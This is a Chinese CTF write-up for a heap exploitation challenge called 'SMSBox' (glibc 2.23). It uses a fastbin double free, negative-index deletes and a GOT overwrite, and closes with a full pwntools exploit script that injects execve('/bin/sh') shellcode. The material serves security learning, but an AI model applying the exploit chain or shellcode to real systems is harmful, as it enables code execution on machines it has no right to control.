1、SMSBox
https://github.com/kezibei/pwn_study/tree/main/SMSBox
这题有那么一点点魔幻。本题附带libc为2.23,而且是debian的,我们无需真的去找debian的glibc,直接用glibc-all-in-one中的任意2.23即可。
熟悉的增删查,但没有改,add之后可以直接输入字符串。来看代码。
count和list都在bss段上。先看第一个判断 if ( count > 63 ),count默认为0,一直加到64时才会大于63,因此最多能生成0-64,一共65个chunk。
开辟chunk,read输入字符串。
*(&list + count) = buf;
最后将buf指针存储在list中。
在gdb中我们可以更直观的看到。
gdb SMSbox
r
1
AAAA
1
AAAA
Ctrl+C
x/20gx 0x602080
x/20gx 0x603000
再看delete
transfer()跟进去之后发现就是读取输入的数字。
先判断其不为-1,再判断其小于等于count,然后从list中取出,并free掉。
下面的while则是从list+v1*8开始一直到list+62*8都依次向前移动。
也就是说count为5,一共有6个chunk在list上排列。
chunk0,chunk1,chunk2,chunk3,chunk4,chunk5
delete(2)的话,count变成4,list上布局为。
chunk0,chunk1,chunk3,chunk4,chunk5。
再次delete(2)呢?count变成3,list布局为。
chunk0,chunk1,chunk4,chunk5。
也就是说如果我们想删除所有chunk,只需要不断的delete(0)即可,不需要依次delete(5)到delete(0)。
gdb上调试感受一下,先增加6个chunk。
delete(2)
delete(2)
最后看一下show()的代码,无需分析。
之前的堆题是没有清空buf指针,导致可以edit劫持fd,这次连edit功能都没有该怎么办呢?
这里需要借助delete的两个漏洞,第一个是前后校验问题,在分析add()的时候,我们知道count最大为64,那么result <= count和v1 <= 62就存在校验不统一。
如果我们弄出0-64个chunk,delete(63)的话,能通过第一个校验,第二个通不过,也就会导致会free(list+63*8),但list不会向前推。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
sh = gdb.debug("./SMSBox","b show")
def add(arg):
sh.recv()
sh.sendline("1")
sh.recv()
sh.sendline(arg)
def delete(arg):
sh.recv()
sh.sendline("2")
sh.recv()
sh.sendline(str(arg))
def show(arg):
sh.recv()
sh.sendline("3")
sh.recv()
sh.sendline(str(arg))
for i in range(0,65):
add("AAAA")
delete(63)
show(20)
可以看到,0x15f4bd0已经被free进入fastbin,但list依旧记录着它(0x15f4be0,list实际记录的是字符串的位置,而chunk有size,所以实际位置会高16位)。
然后我们delete(0),此时0x15f4be0就会往前推,它原本是chunk63的位置,现在到了chunk62的位置。
delete(0)
注意,它已经被free(),所以此时show(62)就会出现00字节,这里的00就是0x15f4bd0的fd,可以回顾一下之前的图。
show(62)
这里也解释了为什么最开始我们不用delete(64),因为delete(64);delete(0)之后,出问题的chunk64在list+63*8的位置上,而此时经过了两次delete,count计数为62,无法show(63)。
既然可以show(62),然后就要进行堆题常见的一个操作,double free,也就是delete(62)。
delete(62)
0x15f4bd0被free了两次,此时fastbin就出现了一个神奇的布局
fdA——fdB——fdA
在上一个堆题中,我们是通过edit劫持fd,达到任意内存读写。而这题中如果我们再add(AAAAAAAA),那么fdA就会变成AAAAAAAA,第一个fdA被消耗,第二个fdA也会跟着变化。那么内存布局就变成了这样。
add("AAAAAAAA")
那么很明显,通过double free,实现fdA——fdB——fdA的循环布局,我们也能够实现fd劫持。
但实际利用远远没有这么简单,再次回顾之前的堆题,我们delete了一次之后,必须add两次才能在劫持的fd上开辟chunk。而这题我们delete了3次,所以必须add4次,然而count已经不够了。
add("AAAAAAAA")
add("AAAAAAAA")
add("AAAAAAAA")
回顾之前的操作,有节省count的地方吗?比如一开始就只增加0-63个chunk。
add(0-63) //count=63
delete(63) //count=62
delete(0) //count=61
delete(62) //count不够
显然不行,那么就需要用到delete的第二个漏洞,delete(-2)来减少count,我们再来回顾delete代码。
回顾delete代码,这个result != -1其实提示的还算明显,如果result为其他负数,free(list+result)我们需要控制在一个为0x0的地方,这样free才不会报错也不会真的free一个chunk。这样count就会减小,list也会整体向前移动。
这两个漏洞非常的有趣,第一个是成功执行free(),count-1,但list不前推,第二个是free(0x0),count-1,list前推。
而这样的空间仔细一看还有不少,甚至有更改count的机会。那么如何输入负数呢,在auth这题我们接触过。
0xffffffff=-1
0xfffffffe=-2
0xfffffffd=-3
0xfffffffc=-4
0xfffffffb=-5
-4就到count地址了,就会free(0x3d)导致报错,所以这里选-3最合适。
delete(63)
delete(0)
delete(62)
add("AAAA")
add("AAAA")
add("AAAA")
show(20)
delete(0xfffffffd)
show(20)
add("AAAA")
show(20)
可以和我一样拿show(20)当断点。delete(-3)之前。
delete(-3)之后,发生前推现象。
然后再add("AAAA")直接报错。
那么我们可以将第一个劫持fd的add("AAAA")修改成一个正确地址,比如got表。
但heapinfo会提示size错误,最后也会报错。
这是因为fastbin的size检测的原因,具体自行搜索。
我们需要找到一个满足fastbin的size的地址,翻来覆去好像也就count的位置比较合适,一是它的大小在0x40左右,比0x31要小,二是它可控。
但不能直接add(p64(0x602080)),因为chunk size并不是在最开始的8位,而是后8位,如下图可得add(p64(0x602080-8))。
更改add(p64(0x602080-8))之后size还是不满足,最后add也会报错。
那么我们再delete(0xfffffffd)一次改变count也就是chunk size大小,这次可以成功在count地址建立一个fake chunk。
delete(63)
delete(0)
delete(62)
add(p64(0x602080-8))
add("AAAA")
add("AAAA")
delete(0xfffffffd)
delete(0xfffffffd)
add("AAAA")
show(20)
可以看到AAAA被成功写入,位置在list-3*8。能不能通过add(atoi_got);show(-3)来获得真实地址呢?
动态调试的结果是不行,因为write的第三个参数是0。回顾代码和chunk布局,正常这儿应该是0x5,代表存储的字符串长度,0x602048+6*8的位置则是0x0。
那么我们只需要换一个len位置不为0的got即可泄露真实地址,比如free_got
delete(63)
delete(0)
delete(62)
add(p64(0x602080-8))
add("AAAA")
add("AAAA")
delete(0xfffffffd)
delete(0xfffffffd)
elf =
ELF("./SMSBox")
got =
elf.got['free']
add(p64(got))
show(0xfffffffd)
甚至由于len过大,连下面的count+chunk地址也一并泄露。
那么接下来的问题就是如何劫持got表。
我们改写内存的方法似乎只有一种,那就是通过double free劫持fd,然后新建chunk写入字符串。但由于fastbin的size检测原因只能写count附近的内存。有没有其他办法写got地址呢?
答案在add()中,add是会将chunk地址记录在list中的。
list记录buf指针时,是在list+count*8的位置记录,got地址刚好在list上方,离这段代码最近的的函数是write,那么想要劫持write就可以计算出count的数字。
也就是说,如果我们能将count改写成0xffffffef,执行add()即可将write_got改写成buf也就是一个chunk的地址。那么接下来执行write会跳转到chunk上执行,那么chunk段能执行吗?
答案是肯定的,这样看来泄露的libc真实地址用不上了,直接在chunk写入shellcode就行。
如何将count改写成0xffffffef呢?add(p64(0xffffffef));delete(0xfffffffb),这样就会将0xffffffef向上覆盖,覆盖到count位置,同时破坏了count和fake chunk。
delete(63)
delete(0)
delete(62)
add(p64(0x602080-8))
add("AAAA")
add("AAAA")
delete(0xfffffffd)
delete(0xfffffffd)
add(p64(0xffffffef))
show(20)
delete(0xfffffffb)
show(20)
add("\x90"*16)
先add(p64(0xffffffef))
再delete(0xfffffffb)
count被破坏,最后再add一个带shellcode的,这里先用NOP代替,执行到最后一个show断点,先b add再c。然后慢慢单步n。
单步过程中盯着rax,这里可以看到count为0xffffffef。
经过malloc建立chunk之后,来到第一个write,此时write_got未被劫持,正常执行。
到read处,此时将输入的字符串(\x90)写入buf,也就是我们最后放shellcode的chunk。
执行read完后,chunk填充\x90
mov qword ptr [rax*8 + 0x6020a0], rdx
即如下代码,这行汇编前,write_got正常。
*(&list + count) = buf;
这行汇编后,write_got被精准劫持。
然后一路n到下一个write。
按s步入,成功在heap段上执行代码。
那么最终exp就出来了,注意这里因为字符数量限制shellcode要用一个最短的。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
#sh = gdb.debug("./SMSBox","b show")
sh = process("./SMSBox")
elf = ELF("./SMSBox")
atoi_got = elf.got['atoi']
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
def add(arg):
sh.recv()
sh.sendline("1")
sh.recv()
sh.sendline(arg)
def delete(arg):
sh.recv()
sh.sendline("2")
sh.recv()
sh.sendline(str(arg))
def show(arg):
sh.recv()
sh.sendline("3")
sh.recv()
sh.sendline(str(arg))
for i in range(0,65):
add("AAAA")
#double free
delete(63)
delete(0)
delete(62)
#fake fd
add(p64(0x602080-8))
add("AAAA")
add("AAAA")
#fake chunk
delete(0xfffffffd)
delete(0xfffffffd)
add(p64(0xffffffef))
#libc
#add(p64(got))
#show(0xfffffffd)
#write_got
delete(0xfffffffb)
add(shellcode)
sh.interactive()